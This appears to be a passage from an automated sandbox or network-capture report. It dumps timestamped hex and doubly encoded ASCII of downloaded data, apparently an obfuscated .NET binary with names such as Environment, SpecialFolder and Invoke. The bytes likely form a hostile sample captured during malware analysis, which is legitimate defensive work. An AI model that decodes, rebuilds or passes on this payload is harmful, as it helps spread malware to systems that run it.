                          2021-09-14 19:25:31 UTC33INData Raw: 2d 2d 2d 2d 2d 2d 33 33 2d 2d 39 2d 2d 31 35 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 38 33 43 2d 31 2d 2d 2d 36 32 44 2d 31 32 41 32 38 35 37 2d 31 2d 2d 2d 36 31 38 32 44 2d 32 32 36 32 41 32 36 32 42 46 43 2d 2d 2d 2d 2d 2d 33 45 32 38 33 44 2d 31 2d 2d 2d 36 32 44 2d 31 32 41 31 37 32 38 38 36 2d 2d 2d 2d 2d 36 32 41 31 33 33 2d 2d 34 2d 2d 32 46 2d 31 2d 2d 2d 2d 33 37 2d 2d 2d 2d 31 31 32 38 33 39 2d 31 2d 2d 2d 36 33 39 32 34 2d 31 2d 2d 2d 2d 37 45 37 43 2d 2d 2d 2d 2d 34 32 44 2d 31 32 41 37 45 37 42 2d 2d 2d 2d 2d 34 32 44 2d 37 37 45 33 31 2d 2d 2d 2d 2d 34 32 42 2d 35 37 45 33 2d 2d 2d 2d 2d 2d 34 31 41 32 44 2d 44 32 36 37 45 37 42 2d 2d 2d 2d 2d 34 33 39 41 42 2d 2d 2d 2d 2d 2d 32 42 2d 33 2d 41 32 42 46 31 32 38 33 41 2d 31 2d 2d 2d 36
                          Data Ascii: ------33--9--15--------------283C-1---62D-12A2857-1---6182D-2262A262BFC------3E283D-1---62D-12A172886-----62A133--4--2F-1----37----112839-1---63924-1----7E7C-----42D-12A7E7B-----42D-77E31-----42B-57E3------41A2D-D267E7B-----439AB------2B-3-A2BF1283A-1---6
                          2021-09-14 19:25:31 UTC40INData Raw: 46 31 39 2d 31 2d 2d 2d 41 31 37 32 44 32 43 32 36 37 45 37 45 2d 2d 2d 2d 2d 34 2d 37 32 2d 39 31 32 36 44 2d 31 45 32 38 46 46 2d 2d 2d 2d 2d 36 32 38 45 39 2d 2d 2d 2d 2d 41 32 38 41 38 2d 2d 2d 2d 2d 41 31 38 32 44 31 31 32 36 2d 36 32 38 41 45 2d 2d 2d 2d 2d 41 32 43 2d 44 32 42 2d 39 2d 43 32 42 41 44 2d 42 32 42 44 32 2d 41 32 42 45 44 44 45 33 2d 37 45 37 45 2d 2d 2d 2d 2d 34 32 38 46 35 2d 2d 2d 2d 2d 41 32 36 2d 36 31 37 38 44 37 32 2d 2d 2d 2d 2d 31 2d 44 2d 39 31 36 2d 38 41 32 2d 39 32 38 32 41 2d 31 2d 2d 2d 36 32 38 42 38 2d 2d 2d 2d 2d 41 44 45 2d 43 32 38 34 43 2d 2d 2d 2d 2d 41 32 38 36 31 2d 2d 2d 2d 2d 41 44 45 2d 2d 32 41 2d 33 2d 43 2d 31 31 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 39 38 39 2d 2d 2d 43 34 36 2d 2d 2d 2d 2d 31 31 33
                          Data Ascii: F19-1---A172D2C267E7E-----4-72-9126D-1E28FF-----628E9-----A28A8-----A182D1126-628AE-----A2C-D2B-9-C2BAD-B2BD2-A2BEDDE3-7E7E-----428F5-----A26-6178D72-----1-D-916-8A2-9282A-1---628B8-----ADE-C284C-----A2861-----ADE--2A-3-C-11-------------8989---C46-----113
                          2021-09-14 19:25:31 UTC47INData Raw: 33 2d 31 2d 2d 2d 41 38 2d 33 45 2d 2d 2d 2d 2d 34 32 41 2d 2d 31 33 33 2d 2d 36 2d 2d 31 41 2d 2d 2d 2d 2d 2d 35 36 2d 2d 2d 2d 31 31 2d 33 2d 34 2d 35 2d 37 2d 45 2d 34 32 38 32 43 2d 31 2d 2d 2d 36 31 35 32 44 2d 39 32 36 2d 32 2d 36 36 46 41 31 2d 31 2d 2d 2d 36 32 41 2d 41 32 42 46 35 2d 2d 2d 2d 31 33 33 2d 2d 36 2d 2d 31 42 2d 2d 2d 2d 2d 2d 35 37 2d 2d 2d 2d 31 31 2d 33 2d 34 2d 35 2d 45 2d 34 2d 45 2d 35 32 38 32 43 2d 31 2d 2d 2d 36 31 39 32 44 2d 39 32 36 2d 32 2d 36 36 46 41 31 2d 31 2d 2d 2d 36 32 41 2d 41 32 42 46 35 2d 2d 31 33 33 2d 2d 36 2d 2d 33 37 2d 2d 2d 2d 2d 2d 31 37 2d 2d 2d 2d 31 31 31 34 31 37 32 44 31 2d 32 36 37 45 33 39 2d 2d 2d 2d 2d 34 2d 32 36 46 37 32 2d 2d 2d 2d 2d 41 32 43 32 34 32 42 2d 33 2d 41 32 42 45 45 37 45 33 39
                          Data Ascii: 3-1---A8-3E-----42A--133--6--1A------56----11-3-4-5-7-E-4282C-1---6152D-926-2-66FA1-1---62A-A2BF5----133--6--1B------57----11-3-4-5-E-4-E-5282C-1---6192D-926-2-66FA1-1---62A-A2BF5--133--6--37------17----1114172D1-267E39-----4-26F72-----A2C242B-3-A2BEE7E39
                          2021-09-14 19:25:31 UTC55INData Raw: 2d 2d 2d 2d 36 32 38 46 36 2d 2d 2d 2d 2d 36 32 38 46 2d 2d 2d 2d 2d 2d 36 32 38 45 46 2d 2d 2d 2d 2d 36 36 31 32 38 45 45 2d 2d 2d 2d 2d 36 32 41 2d 2d 2d 2d 2d 33 33 2d 2d 41 2d 2d 32 33 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 31 38 31 38 32 44 31 38 32 36 2d 33 31 35 31 45 32 44 31 35 32 36 32 2d 34 41 44 38 44 39 35 33 36 36 36 36 36 35 36 35 36 36 36 36 36 35 36 36 36 35 35 39 36 31 32 41 32 36 32 42 45 36 32 36 32 42 45 39 2d 2d 2d 33 33 2d 2d 41 2d 2d 33 32 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 31 43 31 37 32 44 32 37 32 36 32 2d 38 44 46 43 42 33 34 45 36 36 36 35 36 36 36 35 36 36 36 36 36 35 36 35 36 36 35 39 2d 33 31 37 31 43 32 44 31 35 32 36 32 2d 45 46 44 37 46 35 43 31 36 36 36 36 36 35 36 35 36 36 36 36 36 35 36 36 36 35
                          Data Ascii: ----628F6-----628F------628EF-----66128EE-----62A-----33--A--23---------------218182D1826-3151E2D15262-4AD8D95366666565666665666559612A262BE6262BE9---33--A--32---------------21C172D27262-8DFCB34E66656665666665656659-3171C2D15262-EFD7F5C1666665656666656665
                          2021-09-14 19:25:31 UTC62INData Raw: 32 37 42 36 33 2d 2d 2d 2d 2d 34 2d 36 2d 33 2d 36 35 39 36 46 35 43 2d 31 2d 2d 2d 41 2d 42 2d 37 32 44 2d 36 2d 32 32 38 2d 34 2d 31 2d 2d 2d 36 2d 36 2d 37 35 38 2d 41 2d 36 2d 33 33 32 44 39 32 41 2d 2d 31 33 33 2d 2d 33 2d 2d 33 35 2d 2d 2d 2d 2d 2d 36 46 2d 2d 2d 2d 31 31 2d 32 37 42 36 32 2d 2d 2d 2d 2d 34 31 41 32 44 2d 44 32 36 2d 32 31 34 31 36 32 43 2d 41 32 36 32 36 2d 36 32 43 31 32 32 42 2d 41 2d 41 32 42 46 31 37 44 36 32 2d 2d 2d 2d 2d 34 32 42 46 31 2d 36 36 46 37 39 2d 2d 2d 2d 2d 41 2d 32 31 34 31 44 32 44 2d 33 32 36 32 36 32 41 37 44 36 33 2d 2d 2d 2d 2d 34 32 42 46 38 2d 2d 2d 2d 2d 2d 31 33 33 2d 2d 36 2d 2d 36 35 2d 2d 2d 2d 2d 2d 37 2d 2d 2d 2d 2d 31 31 2d 33 31 36 32 46 2d 36 37 33 35 44 2d 31 2d 2d 2d 41 37 41 2d 33 38 44 32 32
                          Data Ascii: 27B63-----4-6-3-6596F5C-1---A-B-72D-6-228-4-1---6-6-758-A-6-332D92A--133--3--35------6F----11-27B62-----41A2D-D26-214162C-A2626-62C122B-A-A2BF17D62-----42BF1-66F79-----A-2141D2D-326262A7D63-----42BF8------133--6--65------7-----11-3162F-6735D-1---A7A-38D22
                          2021-09-14 19:25:31 UTC69INData Raw: 46 36 44 2d 31 2d 2d 2d 41 37 45 37 36 2d 2d 2d 2d 2d 34 44 2d 42 44 2d 2d 2d 2d 2d 31 32 38 34 36 2d 2d 2d 2d 2d 41 31 46 2d 44 36 46 36 44 2d 31 2d 2d 2d 41 37 45 37 36 2d 2d 2d 2d 2d 34 44 2d 42 45 2d 2d 2d 2d 2d 31 32 38 34 36 2d 2d 2d 2d 2d 41 31 46 2d 45 36 46 36 44 2d 31 2d 2d 2d 41 37 45 37 36 2d 2d 2d 2d 2d 34 44 2d 42 43 2d 2d 2d 2d 2d 31 32 38 34 36 2d 2d 2d 2d 2d 41 31 46 2d 46 36 46 36 44 2d 31 2d 2d 2d 41 37 45 37 36 2d 2d 2d 2d 2d 34 44 2d 33 32 2d 2d 2d 2d 2d 31 32 38 34 36 2d 2d 2d 2d 2d 41 31 46 31 2d 36 46 36 44 2d 31 2d 2d 2d 41 37 45 37 36 2d 2d 2d 2d 2d 34 44 2d 31 46 2d 2d 2d 2d 31 42 32 38 34 36 2d 2d 2d 2d 2d 41 31 46 31 31 36 46 36 44 2d 31 2d 2d 2d 41 37 45 37 36 2d 2d 2d 2d 2d 34 44 2d 34 38 2d 2d 2d 2d 2d 31 32 38 34 36 2d 2d
                          Data Ascii: F6D-1---A7E76-----4D-BD-----12846-----A1F-D6F6D-1---A7E76-----4D-BE-----12846-----A1F-E6F6D-1---A7E76-----4D-BC-----12846-----A1F-F6F6D-1---A7E76-----4D-32-----12846-----A1F1-6F6D-1---A7E76-----4D-1F----1B2846-----A1F116F6D-1---A7E76-----4D-48-----12846--
                          2021-09-14 19:25:31 UTC76INData Raw: 33 2d 37 2d 33 37 42 31 35 2d 2d 2d 2d 2d 34 31 31 2d 37 32 2d 39 39 32 43 44 2d 31 45 32 38 46 46 2d 2d 2d 2d 2d 36 32 38 42 33 2d 2d 2d 2d 2d 36 32 38 36 31 2d 2d 2d 2d 2d 41 44 45 2d 2d 32 41 36 46 39 37 34 31 31 43 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 42 2d 32 2d 2d 2d 2d 33 42 2d 32 2d 2d 2d 2d 32 36 2d 2d 2d 2d 2d 2d 34 36 2d 2d 2d 2d 2d 31 31 33 33 2d 2d 34 2d 2d 35 33 2d 2d 2d 2d 2d 2d 38 2d 2d 2d 2d 2d 31 31 31 36 37 45 33 41 2d 2d 2d 2d 2d 34 36 46 41 44 2d 31 2d 2d 2d 41 31 37 35 39 31 39 32 44 2d 37 32 36 31 41 32 44 2d 36 32 36 32 42 33 36 2d 43 32 42 46 37 2d 42 32 42 46 38 37 45 33 41 2d 2d 2d 2d 2d 34 2d 37 36 46 41 45 2d 31 2d 2d 2d 41 37 42 31 31 2d 2d 2d 2d 2d 34 2d 32 32 38 36 2d 2d 31 2d 2d 2d 41 32 43 2d 43
                          Data Ascii: 3-7-37B15-----411-72-992CD-1E28FF-----628B3-----62861-----ADE--2A6F97411C--------------------3B-2----3B-2----26------46-----1133--4--53------8-----11167E3A-----46FAD-1---A1759192D-7261A2D-6262B36-C2BF7-B2BF87E3A-----4-76FAE-1---A7B11-----4-2286--1---A2C-C
                          2021-09-14 19:25:31 UTC84INData Raw: 34 33 46 2d 2d 2d 2d 2d 32 31 43 32 44 2d 33 32 36 32 36 32 41 37 44 39 35 2d 2d 2d 2d 2d 34 32 42 46 38 2d 2d 2d 33 33 2d 2d 39 2d 2d 31 46 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 2d 32 37 42 39 35 2d 2d 2d 2d 2d 34 2d 33 32 38 38 36 2d 2d 2d 2d 2d 41 37 34 33 46 2d 2d 2d 2d 2d 32 31 41 32 44 2d 33 32 36 32 36 32 41 37 44 39 35 2d 2d 2d 2d 2d 34 32 42 46 38 2d 2d 2d 33 33 2d 2d 39 2d 2d 31 46 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 2d 32 37 42 39 36 2d 2d 2d 2d 2d 34 2d 33 32 38 38 35 2d 2d 2d 2d 2d 41 37 34 33 43 2d 2d 2d 2d 2d 32 31 43 32 44 2d 33 32 36 32 36 32 41 37 44 39 36 2d 2d 2d 2d 2d 34 32 42 46 38 2d 2d 2d 33 33 2d 2d 39 2d 2d 31 46 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 2d 32 37 42 39 36 2d 2d 2d 2d 2d 34 2d 33 32 38
                          Data Ascii: 43F-----21C2D-326262A7D95-----42BF8---33--9--1F---------------2-27B95-----4-32886-----A743F-----21A2D-326262A7D95-----42BF8---33--9--1F---------------2-27B96-----4-32885-----A743C-----21C2D-326262A7D96-----42BF8---33--9--1F---------------2-27B96-----4-328
                          2021-09-14 19:25:31 UTC91INData Raw: 45 2d 31 2d 2d 2d 41 2d 32 2d 32 37 42 42 31 2d 2d 2d 2d 2d 34 2d 36 35 38 31 39 32 44 31 37 32 36 32 36 2d 32 37 42 42 31 2d 2d 2d 2d 2d 34 2d 32 37 42 42 34 2d 2d 2d 2d 2d 34 38 45 42 37 33 33 35 41 32 42 2d 41 2d 41 32 42 43 39 37 44 42 31 2d 2d 2d 2d 2d 34 32 42 45 34 2d 32 37 42 39 37 2d 2d 2d 2d 2d 34 31 37 32 44 2d 36 32 36 2d 39 32 43 31 32 32 42 2d 33 2d 44 32 42 46 38 2d 39 2d 32 2d 32 37 42 42 34 2d 2d 2d 2d 2d 34 36 46 41 44 2d 31 2d 2d 2d 36 2d 32 31 36 31 41 32 44 31 45 32 36 32 36 2d 32 37 43 42 34 2d 2d 2d 2d 2d 34 31 36 32 38 2d 36 2d 2d 2d 2d 32 42 2d 32 37 42 42 31 2d 2d 2d 2d 2d 34 2d 32 37 42 41 2d 2d 2d 2d 2d 2d 34 33 32 2d 45 32 42 2d 37 37 44 42 38 2d 2d 2d 2d 2d 34 32 42 44 44 32 38 45 37 2d 31 2d 2d 2d 41 2d 36 2d 35 2d 34 35 39
                          Data Ascii: E-1---A-2-27BB1-----4-658192D172626-27BB1-----4-27BB4-----48EB7335A2B-A-A2BC97DB1-----42BE4-27B97-----4172D-626-92C122B-3-D2BF8-9-2-27BB4-----46FAD-1---6-2161A2D1E2626-27CB4-----41628-6----2B-27BB1-----4-27BA------432-E2B-77DB8-----42BDD28E7-1---A-6-5-459
                          2021-09-14 19:25:31 UTC98INData Raw: 42 35 34 42 43 43 41 43 35 31 33 37 41 44 42 44 45 38 37 44 44 35 42 36 31 39 37 36 34 38 41 43 34 37 42 34 38 36 35 38 31 34 42 42 46 41 33 32 2d 38 44 31 33 41 41 44 35 43 37 31 45 37 2d 46 41 42 36 46 36 33 32 43 45 33 43 31 38 37 46 45 45 45 43 39 35 34 42 42 46 41 33 45 39 44 45 36 35 2d 35 45 38 34 42 42 46 41 33 37 36 34 37 34 45 38 42 32 43 43 31 42 39 46 35 34 42 42 46 41 33 46 46 44 43 36 34 41 34 43 39 39 37 35 41 43 36 45 39 45 46 42 31 43 44 38 33 33 43 39 46 43 42 36 37 35 42 44 31 38 37 45 37 44 46 34 42 42 46 41 33 43 42 43 43 31 46 39 39 33 45 42 45 36 37 42 39 37 2d 46 43 37 37 39 38 31 2d 32 44 41 31 41 37 31 39 33 44 38 2d 31 37 41 37 39 2d 38 36 34 35 45 36 46 43 32 37 34 42 42 46 41 33 37 42 41 42 35 2d 34 46 44 2d 2d 35 39 42 43 38
                          Data Ascii: B54BCCAC5137ADBDE87DD5B6197648AC47B4865814BBFA32-8D13AAD5C71E7-FAB6F632CE3C187FEEEC954BBFA3E9DE65-5E84BBFA376474E8B2CC1B9F54BBFA3FFDC64A4C9975AC6E9EFB1CD833C9FCB675BD187E7DF4BBFA3CBCC1F993EBE67B97-FC77981-2DA1A7193D8-17A79-8645E6FC274BBFA37BAB5-4FD--59BC8
                          2021-09-14 19:25:31 UTC105INData Raw: 36 2d 36 2d 2d 31 31 2d 37 34 44 2d 36 2d 36 2d 2d 31 38 2d 37 34 44 2d 36 2d 36 2d 2d 32 35 2d 37 34 44 2d 36 2d 36 2d 2d 33 2d 2d 37 35 39 2d 2d 2d 36 2d 2d 33 35 2d 37 35 39 2d 2d 31 32 2d 2d 34 37 2d 37 34 42 2d 37 31 32 2d 2d 35 36 2d 37 34 42 2d 37 31 32 2d 2d 35 46 2d 37 34 42 2d 37 31 32 2d 2d 36 39 2d 37 34 42 2d 37 31 32 2d 2d 37 34 2d 37 34 42 2d 37 31 32 2d 2d 38 2d 2d 37 38 45 2d 37 31 32 2d 2d 41 31 2d 37 38 45 2d 37 31 32 2d 2d 41 45 2d 37 38 45 2d 37 31 32 2d 2d 42 42 2d 37 38 45 2d 37 31 32 2d 2d 43 32 2d 37 38 45 2d 37 31 32 2d 2d 44 37 2d 37 38 45 2d 37 31 32 2d 2d 45 43 2d 37 38 45 2d 37 31 32 2d 2d 46 38 2d 37 38 45 2d 37 31 32 2d 2d 2d 38 2d 38 38 45 2d 37 2d 36 2d 2d 31 33 2d 38 35 39 2d 2d 2d 36 2d 2d 31 41 2d 38 35 39 2d 2d 2d 36
                          Data Ascii: 6-6--11-74D-6-6--18-74D-6-6--25-74D-6-6--3--759---6--35-759--12--47-74B-712--56-74B-712--5F-74B-712--69-74B-712--74-74B-712--8--78E-712--A1-78E-712--AE-78E-712--BB-78E-712--C2-78E-712--D7-78E-712--EC-78E-712--F8-78E-712---8-88E-7-6--13-859---6--1A-859---6
                          2021-09-14 19:25:31 UTC113INData Raw: 2d 35 37 32 36 33 32 2d 31 32 35 2d 2d 46 38 32 44 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 2d 2d 41 42 32 36 36 37 2d 2d 32 37 2d 2d 32 43 32 45 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 2d 2d 44 42 32 36 36 37 2d 2d 32 37 2d 2d 36 2d 32 45 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 31 38 46 33 31 41 44 45 2d 2d 32 37 2d 2d 38 34 32 45 2d 2d 2d 2d 2d 2d 2d 2d 36 36 2d 42 34 33 32 37 33 39 2d 31 32 38 2d 2d 39 43 32 45 2d 2d 2d 2d 2d 2d 2d 2d 36 36 2d 33 35 31 32 37 2d 35 2d 31 32 38 2d 2d 44 43 32 45 2d 2d 2d 2d 2d 2d 2d 2d 36 36 2d 33 37 37 32 37 33 44 2d 31 32 39 2d 2d 46 43 32 45 2d 2d 2d 2d 2d 2d 2d 2d 36 36 2d 33 39 45 32 37 36 37 2d 2d 32 41 2d 2d 2d 38 32 46 2d 2d 2d 2d 2d 2d 2d 2d 36 36 2d 33 41 39 32 37 34 32 2d 31 32 41 2d 2d 38 43 32 46 2d 2d 2d 2d 2d 2d 2d 2d 36 36 2d 33 2d 41
                          Data Ascii: -572632-125--F82D---------6--AB2667--27--2C2E---------6--DB2667--27--6-2E---------618F31ADE--27--842E--------66-B432739-128--9C2E--------66-35127-5-128--DC2E--------66-377273D-129--FC2E--------66-39E2767--2A---82F--------66-3A92742-12A--8C2F--------66-3-A
                          2021-09-14 19:25:31 UTC120INData Raw: 33 2d 2d 2d 2d 2d 2d 2d 2d 31 36 2d 2d 42 31 37 41 33 43 2d 32 33 31 2d 31 36 34 41 33 2d 2d 2d 2d 2d 2d 2d 2d 31 36 2d 2d 46 35 37 41 33 43 2d 32 33 31 2d 31 39 2d 41 33 2d 2d 2d 2d 2d 2d 2d 2d 31 36 2d 2d 33 39 37 42 33 43 2d 32 33 31 2d 31 42 43 41 33 2d 2d 2d 2d 2d 2d 2d 2d 31 36 2d 2d 37 44 37 42 46 39 2d 33 33 31 2d 31 45 38 41 33 2d 2d 2d 2d 2d 2d 2d 2d 31 36 2d 2d 41 44 37 42 46 39 2d 33 33 31 2d 31 31 38 41 34 2d 2d 2d 2d 2d 2d 2d 2d 31 36 2d 2d 44 44 37 42 46 39 2d 33 33 31 2d 31 34 38 41 34 2d 2d 2d 2d 2d 2d 2d 2d 31 36 2d 2d 2d 44 37 43 46 39 2d 33 33 31 2d 31 37 38 41 34 2d 2d 2d 2d 2d 2d 2d 2d 31 36 2d 2d 35 31 37 43 46 39 2d 33 33 31 2d 31 41 38 41 34 2d 2d 2d 2d 2d 2d 2d 2d 31 36 2d 2d 39 35 37 43 46 39 2d 33 33 31 2d 31 44 38 41 34 2d 2d
                          Data Ascii: 3--------16--B17A3C-231-164A3--------16--F57A3C-231-19-A3--------16--397B3C-231-1BCA3--------16--7D7BF9-331-1E8A3--------16--AD7BF9-331-118A4--------16--DD7BF9-331-148A4--------16---D7CF9-331-178A4--------16--517CF9-331-1A8A4--------16--957CF9-331-1D8A4--
                          2021-09-14 19:25:31 UTC127INData Raw: 2d 2d 44 36 46 2d 2d 2d 2d 2d 31 2d 2d 35 39 36 46 2d 2d 2d 2d 2d 31 2d 2d 34 44 37 2d 2d 2d 2d 2d 2d 31 2d 2d 38 35 37 2d 2d 2d 2d 2d 2d 31 2d 2d 41 31 37 2d 2d 2d 2d 2d 2d 32 2d 2d 42 44 37 2d 2d 2d 2d 2d 2d 31 2d 2d 44 39 37 2d 2d 2d 2d 2d 2d 32 2d 2d 2d 39 37 31 2d 2d 2d 2d 2d 31 2d 2d 33 39 37 31 2d 2d 2d 2d 2d 31 2d 2d 38 35 37 31 2d 2d 2d 2d 2d 31 2d 2d 41 31 37 31 2d 2d 2d 2d 2d 32 2d 2d 42 44 37 31 2d 2d 2d 2d 2d 31 2d 2d 46 35 37 31 2d 2d 2d 2d 2d 32 2d 2d 31 31 37 32 2d 2d 2d 2d 2d 31 2d 2d 2d 31 35 38 2d 2d 2d 2d 2d 31 2d 2d 34 39 37 32 2d 2d 2d 2d 2d 31 2d 2d 36 35 37 32 2d 2d 2d 2d 2d 32 2d 2d 38 31 37 32 2d 2d 2d 2d 2d 31 2d 2d 43 39 37 33 2d 2d 2d 2d 2d 31 2d 2d 2d 31 37 34 2d 2d 2d 2d 2d 31 2d 2d 34 44 37 34 2d 2d 2d 2d 2d 31 2d 2d 38 35
                          Data Ascii: --D6F-----1--596F-----1--4D7------1--857------1--A17------2--BD7------1--D97------2---971-----1--3971-----1--8571-----1--A171-----2--BD71-----1--F571-----2--1172-----1---158-----1--4972-----1--6572-----2--8172-----1--C973-----1---174-----1--4D74-----1--85
                          2021-09-14 19:25:31 UTC134INData Raw: 2d 44 38 41 39 33 41 2d 41 36 43 2d 2d 39 44 41 39 39 43 2d 2d 36 43 2d 2d 39 37 41 41 33 2d 2d 46 31 39 2d 36 46 33 31 41 32 45 31 33 34 39 2d 2d 46 33 31 41 36 37 2d 2d 46 39 2d 35 46 33 31 41 43 43 31 32 37 31 2d 35 46 33 31 41 39 38 2d 31 37 31 2d 35 45 38 31 43 41 36 2d 2d 32 31 2d 35 46 33 31 41 42 41 31 33 41 31 2d 34 46 33 31 41 43 34 31 33 44 39 2d 34 46 35 42 31 44 35 31 33 44 31 2d 34 2d 41 42 32 44 42 31 33 42 39 2d 34 46 33 31 41 46 35 31 33 41 39 2d 34 31 34 42 32 39 43 2d 2d 41 39 2d 34 32 35 42 32 46 43 31 33 44 31 2d 34 46 33 31 41 46 43 31 33 44 39 2d 34 46 33 31 41 2d 33 31 34 43 39 2d 34 31 34 42 32 39 43 2d 2d 43 39 2d 34 32 35 42 32 46 43 31 33 35 39 2d 35 37 46 41 39 35 36 2d 34 37 31 2d 35 46 33 31 41 36 37 2d 2d 37 31 2d 35 33 33
                          Data Ascii: -D8A93A-A6C--9DA99C--6C--97AA3--F19-6F31A2E1349--F31A67--F9-5F31ACC1271-5F31A98-171-5E81CA6--21-5F31ABA13A1-4F31AC413D9-4F5B1D513D1-4-AB2DB13B9-4F31AF513A9-414B29C--A9-425B2FC13D1-4F31AFC13D9-4F31A-314C9-414B29C--C9-425B2FC1359-57FA956-471-5F31A67--71-533
                          2021-09-14 19:25:31 UTC141INData Raw: 42 34 36 37 32 36 31 36 44 36 35 2d 2d 35 33 37 34 36 31 36 33 36 42 35 34 37 32 36 31 36 33 36 35 2d 2d 34 34 36 46 37 35 36 32 36 43 36 35 2d 2d 35 32 36 35 36 33 37 34 36 31 36 45 36 37 36 43 36 35 2d 2d 35 33 36 39 37 41 36 35 2d 2d 34 35 36 45 37 35 36 44 2d 2d 34 35 36 45 37 36 36 39 37 32 36 46 36 45 36 44 36 35 36 45 37 34 2d 2d 35 33 37 2d 36 35 36 33 36 39 36 31 36 43 34 36 36 46 36 43 36 34 36 35 37 32 2d 2d 34 35 37 36 36 35 36 45 37 34 34 31 37 32 36 37 37 33 2d 2d 34 35 37 36 36 35 36 45 37 34 34 38 36 31 36 45 36 34 36 43 36 35 37 32 2d 2d 34 35 37 36 36 35 36 45 37 34 34 38 36 31 36 45 36 34 36 43 36 35 37 32 36 2d 33 31 2d 2d 34 35 37 38 36 33 36 35 37 2d 37 34 36 39 36 46 36 45 2d 2d 34 37 34 33 2d 2d 34 37 37 35 36 39 36 34 2d 2d 34 39
                          Data Ascii: B4672616D65--537461636B5472616365--446F75626C65--52656374616E676C65--53697A65--456E756D--456E7669726F6E6D656E74--537-656369616C466F6C646572--4576656E7441726773--4576656E7448616E646C6572--4576656E7448616E646C65726-31--457863657-74696F6E--4743--47756964--49
                          2021-09-14 19:25:31 UTC149INData Raw: 36 34 39 37 37 33 37 34 34 37 33 36 38 36 37 34 45 35 37 34 37 37 36 36 35 34 31 37 36 34 32 35 31 33 44 2d 2d 32 33 33 44 37 31 36 38 34 35 33 32 35 2d 33 32 36 42 33 34 33 36 36 41 36 39 35 33 35 33 36 41 34 46 33 38 33 36 36 37 33 33 36 45 34 32 33 31 34 44 36 42 34 43 34 37 34 33 33 39 35 46 33 33 36 31 37 36 34 34 37 2d 34 39 33 37 36 39 35 39 36 32 35 35 34 38 37 32 33 35 36 37 33 44 2d 2d 32 33 33 44 37 31 37 36 35 38 32 34 34 41 33 32 33 34 37 32 34 39 33 2d 36 35 34 41 33 2d 36 37 35 37 36 36 34 31 33 36 34 33 34 35 36 34 37 41 35 36 34 41 34 45 33 37 36 32 35 31 34 45 35 46 35 39 35 34 37 35 35 33 33 39 33 38 34 45 33 2d 37 39 37 39 34 44 35 39 35 2d 36 46 33 44 2d 2d 32 33 33 44 37 31 33 36 34 45 36 35 36 45 36 36 35 31 36 32 37 41 35 31 35 39
                          Data Ascii: 6497737447368674E57477665417642513D--233D716845325-326B34366A6953536A4F383667336E42314D6B4C4743395F336176447-493769596255487235673D--233D717658244A323472493-654A3-67576641364345647A564A4E3762514E5F5954755339384E3-79794D595-6F3D--233D71364E656E6651627A5159
                          2021-09-14 19:25:31 UTC156INData Raw: 33 33 37 35 46 37 41 34 43 34 33 34 45 36 34 34 36 34 33 36 39 34 38 37 34 35 2d 34 38 33 31 37 39 35 32 33 39 33 38 37 37 33 37 35 34 36 32 36 44 37 32 35 33 33 34 37 36 35 35 34 35 33 44 2d 2d 34 35 36 45 36 34 34 39 36 45 37 36 36 46 36 42 36 35 2d 2d 32 33 33 44 37 31 33 39 33 35 37 37 33 39 34 44 37 2d 36 31 34 37 33 34 35 41 36 33 36 37 36 42 34 37 36 37 36 45 36 44 35 31 34 39 35 34 34 46 36 34 34 38 37 32 33 35 34 39 36 31 34 43 35 38 34 34 33 38 36 31 34 33 33 36 36 46 33 33 34 35 37 31 37 34 34 35 33 2d 35 2d 35 31 33 44 2d 2d 34 39 36 45 37 36 36 46 36 42 36 35 2d 2d 32 33 33 44 37 31 37 38 37 2d 33 36 36 33 37 34 33 34 34 41 34 37 34 43 36 31 34 44 34 34 36 32 37 37 36 37 33 36 36 36 36 42 37 32 34 39 34 35 37 37 33 44 33 44 2d 2d 32 33 33 44
                          Data Ascii: 3375F7A4C434E6446436948745-483179523938773754626D7253347655453D--456E64496E766F6B65--233D71393577394D7-6147345A63676B47676E6D5149544F6448723549614C5844386143366F33457174453-5-513D--496E766F6B65--233D71787-366374344A474C614D4462776736666B724945773D3D--233D
                          2021-09-14 19:25:31 UTC163INData Raw: 36 36 37 33 44 33 44 2d 2d 34 35 36 45 37 34 37 32 37 39 34 35 37 38 36 39 37 33 37 34 37 33 2d 2d 34 37 36 35 37 34 34 35 36 45 37 34 37 32 36 39 36 35 37 33 2d 2d 32 33 33 44 37 31 33 32 36 37 37 34 36 38 37 36 34 32 33 36 33 32 36 45 33 2d 33 37 36 36 35 39 35 36 35 34 37 38 33 35 36 36 37 37 34 39 37 31 37 38 34 32 34 31 36 46 33 31 37 34 35 46 36 38 37 33 32 34 36 39 36 43 33 39 34 31 36 33 32 34 33 34 34 36 35 39 35 46 34 37 37 37 33 44 2d 2d 32 33 33 44 37 31 37 32 33 35 37 31 37 2d 37 36 34 46 35 2d 36 45 34 43 37 38 34 43 37 2d 33 36 36 31 34 37 36 42 36 36 34 31 34 44 33 37 37 37 35 31 33 44 33 44 2d 2d 32 33 33 44 37 31 33 36 33 35 37 41 36 45 34 36 36 37 33 2d 35 46 33 32 33 33 33 34 36 45 36 36 36 45 36 38 34 43 33 34 34 39 33 38 37 39 35 32
                          Data Ascii: 6673D3D--456E747279457869737473--476574456E7472696573--233D7132677468764236326E3-37665956547835667749717842416F31745F687324696C394163243446595F47773D--233D717235717-764F5-6E4C784C7-3661476B66414D3777513D3D--233D7136357A6E46673-5F3233346E666E684C3449387952
